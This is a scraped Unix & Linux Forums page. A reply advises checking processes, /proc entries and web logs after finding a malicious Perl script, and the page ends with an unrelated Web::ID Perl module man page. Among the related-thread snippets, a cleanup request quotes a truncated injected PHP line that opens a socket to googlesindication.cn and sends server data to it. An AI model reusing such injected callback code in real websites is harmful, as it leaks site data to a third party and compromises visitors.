Sponsored Content
Full Discussion: Malicious perl script
Operating Systems Linux Debian Malicious perl script Post 302992372 by drysdalk on Friday 24th of February 2017 08:46:56 AM
Old 02-24-2017
Hello,

That's certainly a good idea in general, to run something like 'watchdog' or 'tripwire'. I don't think anything it's found is particularly worrisome, and is all stuff I'd more or less expect to be there, depending on what you have installed.

The main thing I'd definitely do is look at what processes are running at the moment, and investigate the /proc entries for any suspicious ones that are still there. Next, read through your Web logs for anything that looks abnormal around the time that the incident is alleged to have began. With any luck there's a clear trace in the Web logs that will show you where the dodgy scripts were stored, and perhaps even how they came to be uploaded.
 

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

2. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

3. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl... (1 Reply)
Discussion started by: grajp002
1 Replies

5. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies

6. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

7. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
Web::ID(3pm)						User Contributed Perl Documentation					      Web::ID(3pm)

NAME
Web::ID - implementation of WebID (a.k.a. FOAF+SSL) SYNOPSIS
my $webid = Web::ID->new(certificate => $pem_encoded_x509); if ($webid->valid) { say "Authenticated as: ", $webid->uri; } DESCRIPTION
WebID is a simple authentication protocol based on TLS (Transaction Layer Security, better known as Secure Socket Layer, SSL) and the Semantic Web. This module provides a Perl implementation for authenticating clients using WebID. For more information see the Web::ID::FAQ document. Bundled with this module are Plack::Middleware::Auth::WebID, a plugin for Plack to perform WebID authentication on HTTPS connections; and Web::ID::Certificate::Generator, a module that allows you to generate WebID-enabled certificates that can be installed into web browsers. Constructor "new" Standard Moose-style constructor. (This class uses Any::Moose.) Attributes "certificate" A Web::ID::Certificate object representing and x509 certificate, though a PEM-encoded string will be coerced. This is usually the only attribute you want to pass to the constructor. Allow the others to be built automatically. "first_valid_san" Probably fairly uninteresting. This is the first subjectAltName value found in the certificate that could be successfully authenticated using Web::ID. An Web::ID::SAN object. "uri" The URI associated with the first valid SAN. A URI object. This is a URI you can use to identify the person, organisation or robotic poodle holding the certificate. "profile" Data about the certificate holder. An RDF::Trine::Model object. Their FOAF file (probably). "valid" Boolean. Methods "node" Returns the same as "uri", but as an RDF::Trine::Node object. "get(@predicates)" Queries the "profile" for triples of the form: $self->node $predicate $x . And returns literal and URI values for $x, as strings. $predicate should be an RDF::Trine::Node, or a string. If a string, it will be expanded using RDF::Trine::NamespaceMap, so you can do stuff like: my $name = $webid->get('foaf:name', 'rdfs:label'); my @mboxes = $webid->get('foaf:mbox'); BUGS AND LIMITATIONS
Any::Moose This module uses Any::Moose which means that if it detects that you're using the rather heavyweight Moose toolkit, then this module will use it too. But if you're not using it, then this module will use the lighter-weight Mouse toolkit. Similarly, this module will use either MouseX::Types or MooseX::Types. As the decision to use Moose or Mouse is made at runtime, this makes expressing Web::ID's dependencies rather challenging. Web::ID requires either: o Any::Moose, o Mouse, and o MouseX::Types or: o Any::Moose, o Moose, and o MooseX::Types The installation script for Web-ID checks the first set of dependencies, but if you only ever plan on using Moose, and never Mouse, then you don't need them - you need the second set. Yes, it's possible to have the installation script figure out a list of dependencies dynamically when you install Web-ID, but that's not especially helpful, as Any::Moose makes its decision about what module to use at run time, not at install time. The long and the short of it is: if you use Web::ID as part of a Moose application, then make sure you have MooseX::Types installed. Other Please report any other bugs to http://rt.cpan.org/Dist/Display.html?Queue=Web-ID <http://rt.cpan.org/Dist/Display.html?Queue=Web-ID>. SEE ALSO
Web::ID::FAQ. Web::ID::Certificate, Plack::Middleware::Auth::WebID. RDF::ACL provides an access control system that complements WebID. CGI::Auth::FOAF_SSL is the spiritual ancestor of this module though they share very little code, and have quite different APIs. General WebID information: <http://webid.info/>, <http://www.w3.org/wiki/WebID>, <http://www.w3.org/2005/Incubator/webid/spec/>, http://lists.foaf-project.org/mailman/listinfo/foaf-protocols <http://lists.foaf-project.org/mailman/listinfo/foaf-protocols>. Mailing list for general Perl RDF/SemWeb discussion and support: <http://www.perlrdf.org/>. AUTHOR
Toby Inkster <tobyink@cpan.org>. THANKS
Thanks to Kjetil Kjernsmo (cpan:KJETILK) for persuading me to port my old CGI-specific implementaton of this to Plack. Thanks Kjetil Kjernsmo (again), Florian Ragwitz (cpan:FLORA), and Jonas Smedegaard for help with testing and advice on dependencies. Thanks to Henry Story, Melvin Carvalho, Simon Reinhardt, Bruno Harbulot, Ian Jacobi and many others for developing WebID from a poorly thought out idea to a clever, yet simple and practical authentication protocol. Thanks to Gregory Williams (cpan:GWILLIAMS), Tatsuhiko Miyagawa (cpan:MIYAGAWA) and the Moose Cabal for providing really good platforms (RDF::Trine, Plack and Moose respectively) to build this on. COPYRIGHT AND LICENCE
This software is copyright (c) 2012 by Toby Inkster. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. DISCLAIMER OF WARRANTIES
THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. perl v5.14.2 2012-05-20 Web::ID(3pm)
All times are GMT -4. The time now is 04:13 AM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy